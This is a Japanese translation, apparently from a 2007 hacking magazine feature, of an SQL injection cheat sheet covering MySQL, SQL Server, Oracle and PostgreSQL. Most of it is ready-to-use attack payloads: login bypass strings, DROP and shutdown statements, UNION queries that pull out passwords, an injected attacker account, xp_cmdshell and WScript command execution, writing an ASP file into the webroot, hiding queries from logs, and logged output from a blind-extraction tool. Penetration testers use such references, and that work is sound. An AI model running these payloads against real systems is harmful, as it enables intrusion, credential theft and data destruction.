ハッカージャパン2007年5月号 特集1 Webアプリ攻略の教科書 より
・原文へのリンク SQL
Injection Cheat Sheet
・ハッカージャパン2007年5月号の紹介
SQL Injection Cheat Sheet, Document Version 1.1
現在のバージョンは、MySQL、Microsoft
SQL Serverおよび一部のORACLE、PostgreSQLのみに対応している。大半のサンプルは個々の状況で使用できるわけではない。括弧やコードベースの違い、予期できない変わったSQL文などのため、実際の環境はこれと異なる場合がある。
サンプルでは、可能な攻撃の基本的なアイディアを示している。ほとんどのセクションでは、そのセクションに関する簡単な情報も述べている。
| M : | MySQL |
| S : | SQL Server |
| P : | PostgreSQL |
| O : | Oracle |
| + : | おそらく他のデータベースすべて |
クエリの残り部分をコメントアウトする。
1行コメントは、クエリの残り部分を無視するために使用される最も一般的な手法である。コメントアウトすることで、構文を完成させる必要がなくなる。
-- (SM)
DROP sampletable;--
# (M)
DROP sampletable;# admin'-- SELECT * FROM members WHERE username = 'admin'--' AND password
= 'password'
SQL文の--以降は無視されるため、adminユーザーとしてのログインを行う。インラインコメントはSQL文を終了させずに以降のクエリをコメントアウトする。これは、ブラックリストをバイパスしたり、スペースを削除したり、SQL文を判読しにくくしたり、データベースのバージョンを確認したりするために使用される。
/*Comment Here*/ (SM)
DROP/*comment*/sampletableDR/**/OP/*bypass blacklisting*/sampletableSELECT/*avoid-spaces*/password/**/FROM/**/Members/*! MYSQL Special SQL */ (M)SELECT /*!32302 1/0, */ 1 FROM tablename10; DROP TABLE members /*SELECT /*!32302 1/0, */ 1 FROM tablename/*!32302 10*/ 10SELECT /*!32302 1/0, */ 1 FROM tablename1回のトランザクションで複数のクエリを実行させる。これは、全てのインジェクション可能な箇所でとても効果的だ。バックエンドにSQL Serverを利用しているアプリケーションに対しては、特に有効だ。
; (S)SELECT * FROM members; DROP members--SQLクエリを終了し、別のクエリを開始する。
緑:サポート、 暗灰色:サポートしていない、明灰色:不明
| SQL Server | MySQL | PostgreSQL | ORACLE | MS Access | |
| ASP | |||||
| ASP.NET | |||||
| PHP | |||||
| Java |
MySQLとPHPについて
若干の問題を明らかにしておこう。
PHP−MySQLの組み合わせでは、複文はサポートされていない。Javaは複文をサポートしていない(ORACLEについては確実だが、他のデータベースに関しては確定ではない)。通常、MySQLは複文をサポートしている。しかし、データベースレイヤー側の設定のため、PHP-MySQLアプリケーションでは2番目のクエリを実行することができない。MySQLクライアントは複文をサポートしているのかもしれないが、確信はない。誰か解明して欲しい。
10;DROP members -- SELECT * FROM products WHERE id = 10; DROP members--
これは、通常のクエリを実行した後でDROP membersというSQL文が実行される。
If命令文に基づいたレスポンスの取得。これは、ブラインドSQLインジェクションのキーポイントの1つであり、盲目的かつ正確に単純な条件文をテストするためにも役立つ。
IF(condition,true-part,false-part)
(M)
SELECT IF(1=1,'true','false')IF condition true-part
ELSE false-part (S)IF (1=1) SELECT 'true' ELSE SELECT 'false'if ((select user) = 'sa' OR (select user) = 'dbo')
select 1 else select 1/0 (S)
saかdbo以外のユーザーがログインしている場合、0除算エラーが発生する。
magic_quotes()や類似したフィルター、Webアプリケーションファイアウォールをバイパスするために役立つ。
0xHEXNUMBER (SM)SELECT CHAR(0x66) (S)SELECT 0x5045 (この場合は、数値ではなく16進コードを文字列に変換して利用される。)
(M)SELECT 0x50 + 0x45 (この場合は数値となる。) (M)文字列関連操作。これらはクォートを使用せずインジェクションを組み立てたり、ブラックリストをバイパスしたり、バックエンドのデータベースを判別したりするのにかなり有効である。
+ (S)SELECT login + '-' + password FROM members|| (*MO)SELECT login || '-' || password FROM members MySQLの"||"について
ANSIモードで稼動中のMySQLでは正常に動作するが、他のモードであれば論理演算子として解釈されて0が返される。よりよい方法は、MySQLのCONCAT()関数の利用である。
CONCAT(str1, str2, str3, ...) (M)SELECT CONCAT(login, password) FROM members 文字列を利用する直接的な方法はいくつかあるが、CHAR()(MS)とCONCAT()(M)によるクォートを使用しない文字列の生成は常に可能だ。
0x457578 (M) - 文字列の16進数表現SELECT 0x457578 SELECT CONCAT('0x',HEX('c:\\boot.ini'))CONCAT()を使うSELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) ASCII() (SMP) SELECT ASCII('a')CHAR() (SM) SELECT CHAR(64)UNIONを使用することで別のテーブルに対してSQLクエリを実行することができる。つまり、他のテーブルからレコードを取得するよう、クエリに"仕込む"ことが可能だ。
SELECT header, txt FROM news UNION ALL SELECT
name, pass FROM members
これは、newsテーブルとmembersテーブルの検索結果を結合してすべてのデータを返す。
Union Injectionで攻略中、時として異なる言語設定(テーブル設定、列設定、テーブルとDBの設定の組み合わせなど)によりエラーが発生することがある。以下に説明する機能は、この言語設定問題を回避するためにかなり有効な手段である。これは稀な問題ではあるが、日本語、ロシア語、トルコ語などのアプリケーションを利用している場合、起きる可能性がある。
COLLATE SQL_Latin1_General_Cp1254_CS_ASフィールドか他の有効なフィールドを使用する。SQL
Serverドキュメントを参照して確認すること。SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS
FROM membersHex()を使用する。admin' -- admin' # admin'/*' or 1=1--' or 1=1#' or 1=1/*') or '1'='1--') or ('1'='1--' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--*MySQLの古いバージョンではUNIONのクエリをサポートしていない。
以下の順序で実行する。
HAVING 1=1 -- ' GROUP BY table.columnfromerror1
HAVING 1=1 -- ' GROUP BY table.columnfromerror1, columnfromerror2
HAVING 1=1 --' GROUP BY table.columnfromerror1, columnfromerror2,
columnfromerror(n) HAVING 1=1 -- and so on ORDER BYを利用した列番号の確認で、UNION SQLインジェクションのプロセスをスピードアップできる。
ORDER BY 1-- ORDER BY 2--ORDER BY N-- so on ' union select sum(columntofind)
from users-- (S) Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate
operation cannot take a varchar data type
as an argument.SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT
null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULl, NULL--11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE
1=2 –-11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2
–- Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not
allowed.Unionのターゲットでエラーになる前にconvert()がエラーを返すだろう。その場合、convert()から対処しよう。
'; insert into users values( 666, 'attacker', 'foobar', 0xffff
)--
@@version (MS)
SQLサーバのデータベースバージョンと詳細なバージョン情報を取得する。バージョンごとの変更はなし。他の列と同様にselectするだけでよく、テーブル名の指定は不要。insert文、update文や関数内でも使用可能。
INSERT INTO members(id, user, pass) VALUES(1,
''+SUBSTRING(@@version,1,10) ,10)
ファイルのコンテンツをテーブル内に読み込む。Webアプリケーションが動作するサーバー内部のフォルダ構造を知らなければ、IISメタベースファイル(%systemroot%\system32\inetsrv\MetaBase.xml)を読み込み、メタベースファイルからアプリケーションが存在するフォルダを探すことが可能だ(IIS6のみ)。
テキストファイルへデータを出力する。この機能を利用するにはログイン権限が必要となる。
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp
-c -Slocalhost -Usa -Pfoobar
ActiveXをサポートしているためSQL ServerではVBSやWSHスクリプトが利用可能。
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell',
@o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
よく知られた小技で、SQL Server2005ではデフォルトで無効にされている。利用するためには管理者権限が必要となる。
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
単にpingチェックする(これを実行できるように自分のファイアウォールやスニッファーを設定しておく)。
EXEC master.dbo.xp_cmdshell 'ping <ip address>'
エラー、UNION、その他の方法を利用して結果を直接読み出すことはできない。
master..sysmessages master..sysservers masters..sysxloginssys.sql_logins
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell
'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
SQL ServerではInsertクエリにselectサブクエリを使用不可能。
SELECT id, product FROM test.test t LIMIT 0,0
UNION ALL SELECT 1,'x'/*,10 ;
LIMIT句の2番目の引数でインジェクション可能な場合、コメントアウトしたりUNIONインジェクションの中に含めたりするすることが可能。
あなたが本当に逝ってしまった時、';shutdown --とすればシャットダウンする。
SELECT name FROM sysobjects WHERE xtype = 'U'
SELECT name FROM syscolumns WHERE id =(SELECT
id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
NOT INやNOT
EXISTを使用する。 ... WHERE users NOT IN ('First User', 'Second User')SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT
TOP 0 name FROM members) -- very good one SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from
(SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, name from sysobjects o) as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects
i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE
o.xtype = 'U') as p where p.x=21
';BEGIN DECLARE @rt varchar(8000) SET @rd=':'
SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects
WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP
end;--
詳細記事:Fast
way to extract data from Error Based SQL Injections
一般的に非常に優れたアプリケーションはページ上にエラーメッセージを表示することはないので、UNIONアタックやエラーベースのアタック手法を利用してデータを抽出することはできない。データを抽出するにはブラインドSQLインジェクション攻撃を利用すべきである。ブラインドSQLインジェクションには2種類のパターンがある。
通常のブラインド:ベージ上にレスポンスが表示されることはないがHTTPステータスコードやクエリのレスポンス結果から状況を判断することができる。
完全なブラインド:いかなる種類の出力においても全く差異が見られないことを指す。これは、ログ機能や似たような機能であり得るインジェクションである。しかし、これは一般的ではない。
通常のブラインドではifステートメントやWHERE句のクエリを悪用してのインジェクションが可能(一般的に比較的容易)だが、完全なブラインドではwait機能の類やレスポンスタイムの分析を利用する必要がある。このためには、SQL ServerではWAIT FOR DELAY '0:0:10'、MySQLではBENCHMARK()、PostgreSQLではpg_sleep(10)、ORACLEではいくつかのPL/SQLトリックを使うことができる。
以下の出力は、実際に個人的に使用しているブラインドSQLインジェクションツールで、SQL Serverをバックエンドに使用するアプリケーションへの攻撃およびテーブル名の割り出しを実行したものだ。これは最初のテーブル名の最初の文字を割り出すためのリクエストである。自動判断処理を行っているため、SQLクエリはより複雑になっている。二分探索アルゴリズムを使用して文字のアスキーコード特定を試行している。
各行の先頭のTRUEとFALSEは、クエリが真を返したか偽を返したかを示している。
TRUE : SELECT ID, Username, Email
FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects
WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID =
1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID =
1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID =
1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--
最後の2つのクエリが両方ともFALSEを返しているため、テーブル名の最初の文字がアスキーコード80番(10進数)、つまり'P'であることが特定できる。これが二分探索アルゴリズムを使用したブラインドSQLインジェクションの攻略手法である。よく知られた他の方法は1つずつ順番にチェックしていく方法である。それぞれ、異なる状況での効果が期待できる。
まず、完全なブラインドであればこれを使用する。それ以外の場合は、単に0除算エラーを発生させる方法で状態の差異を判断する。次に、2〜30秒以上かかることに注意が必要だ。データベースAPIによる接続やスクリプトでタイムアウトが発生する可能性がある。
これはsleepと同様、指定した時間の処理を待たせることができる。データベースの待ち時間を作り出すCPUセーフな方法である。
WAITFOR DELAY '0:0:10'--
以下の様に1秒以下の短時間の指定をすることも可能。
WAITFOR DELAY '0:0:0.51'
if (select user) = 'sa' waitfor delay '0:0:10' 基本的に、MySQLを短時間待たせるために以下のコマンドを活用している。Webサーバの処理能力を短時間で限界まで消費することに注意すること。
BENCHMARK(howmanytimes, do this)
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))IF (SELECT * FROM login) BENCHMARK(1000000000,MD5(1))指定した秒数sleepする。
SELECT pg_sleep(10); セキュリティの関係上、SQL Serverはsp_passwordに含まれるクエリについてはログを採取しない。つまり、sp_passwordを送信するクエリに追加した場合、そのクエリはSQL Serverのログに記述されない(当然Webサーバーのログには記録される可能性がある。可能であればPOSTメソッドを使用すること)。
以下は、ブラインドSQLインジェクションとサイレントアタックを実施するための、シンプルで良いテストである。
product.asp?id=4 (SMO) product.asp?id=5-1product.asp?id=4 OR 1=1
product.asp?name=Bookproduct.asp?name=Bo’+’okproduct.asp?name=Bo’ || ’ok (OM)product.asp?name=Book’ OR ‘x’=’xSELECT User,Password FROM mysql.user;SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0)
User,Password FROM mysql.user WHERE User = ‘root’;SELECT ... INTO DUMPFILEcreate function LockWorkStationは'user32'の.soファイル名をintegerで返す。select LockWorkStation();
create function ExitProcessは'kernel32'の.soファイル名をintegerで返す。select exitprocess();SELECT USER();SELECT password,USER() FROM mysql.user;SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE
user_group = 1;query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;select benchmark( 500000, sha1( 'test' ) );query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like 'root@%', benchmark(100000,sha1('test')),
'false' );
データの割り出し、ブルートフォースによる推測。
select if( (ascii(substring(user(),1,1)) >>
7) & 1, benchmark(100000,sha1('test')), 'false' );MD5()
SHA1()
CHAR()
PASSWORD()
ENCODE()
COMPRESS()
BENCHMARK()
ROW_COUNT()
SCHEMA()
VERSION()
基本的に、SQLインジェクションをどこかに仕込んで、それが他の動作でフィルターされないことが期待できる。これは、一般的なhiddenレイヤーの問題である。
Name : ' + (SELECT TOP 1 password FROM users
) + '
Email : xx@xx.com
もしアプリケーションが安全ではないストアドプロシージャ、関数、処理などでnameフィールドのデータを利用していた場合、usersテーブルの最初のユーザのパスワードがメールの宛先名などに挿入されるかもしれない。
これらの覚書きは、ここ数年幾つかのサイトから収集したり個人的な経験から得られたりしたことである。なので参照先が幾つか抜けているかもしれない。もし、参照先が抜けているのではと思ったときは私にメールを投げて頂ければ(ferruh-at-mavituna.com)、可能な限り早く更新するつもりだ。
Oracle、PostgreSQL、DB2、MS Accessに関する覚え書きや、現在ここに記載していない小技の幾つかが多数ある。可能な限りはやくWebに掲載したいと思っている。もし、新しい小技を見つけた時や手伝いたいときは、ここにコメントを書くのではなく直接メールしてほしい(ferruh-at-mavituna.com)。